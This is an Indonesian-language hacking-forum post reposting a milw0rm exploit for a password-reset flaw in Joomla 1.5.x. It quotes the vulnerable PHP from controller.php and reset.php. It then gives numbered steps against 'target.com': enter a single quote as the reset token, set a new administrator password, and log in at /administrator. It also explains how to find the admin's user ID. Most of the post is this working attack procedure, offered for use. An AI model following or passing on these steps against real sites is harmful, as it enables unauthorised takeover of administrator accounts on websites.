yadoy666 Script Learner
Jumlah posting : 121 Registration date : 20.09.07
| Subyek: Joomla 1.5.x Remote Admin Password Change Thu Aug 28, 2008 8:21 pm | |
| - Code:
-
Baru-baru ini telah ditemukan sebuah celah keamanan pada Joomla CMS yang memungkinkan sang attacker merest password administrator.Celah tersebut ditemukan oleh seorang hacker Polandia dengan nick name d3m0n (d3m0n@o2.pl).
Hacker tersebut menemukan kelemahan pada file controller.php dan reset.php
################################################################################ Line : 379-399
function confirmreset() { // Check for request forgeries JRequest::checkToken() or die( 'Invalid Token' );
// Get the input $token = JRequest::getVar('token', null, 'post', 'alnum'); {1} // Get the model $model = &$this->getModel('Reset');
// Verify the token if ($model->confirmReset($token) === false) {2} { $message = JText::sprintf('PASSWORD_RESET_CONFIRMATION_FAILED', $model->getError()); $this->setRedirect('index.php?option=com_user&view=reset&layout=confirm', $message); return false; }
$this->setRedirect('index.php?option=com_user&view=reset&layout=complete'); }
################################################################################
File : /components/com_user/models/reset.php
Line: 111-130
function confirmReset($token) { global $mainframe;
$db = &JFactory::getDBO(); $db->setQuery('SELECT id FROM #__users WHERE block = 0 AND activation = '.$db->Quote($token)); {3}
// Verify the token if (!($id = $db->loadResult())) { $this->setError(JText::_('INVALID_TOKEN')); return false; }
// Push the token and user id into the session $mainframe->setUserState($this->_namespace.'token', $token); $mainframe->setUserState($this->_namespace.'id', $id);
return true; } ################################################################################
Masukan karakter petik tunggal [ ' ] pada tanda {1} Jika kita tekan enter maka query yg dihasilkan adalah :
"SELECT id FROM jos_users WHERE block = 0 AND activation = '' " tanda {3}
Contoh penggunaan kelemahan tersebut sebagai berikut:
1. target.com/index.php?option=com_user&view=reset&layout=confirm 2. Masukan karakter petik tunggal [ ' ] pada field token kemudian enter 3. Masukan password admin yang baru 4. Kemudian login di login page nya => target.com/administrator 5. Login dengan menggunakan password yang telah kita masukan sebelumnya
Kekurangan dari kelemahan ini adalah kita harus tau userID sang administrator tersebut.Namun hal itu tidak masalah karenakita dapat menemukan userID pada setiap artikel yang ditulis di site tersebut
Sumber: milw0rm.com
| |
|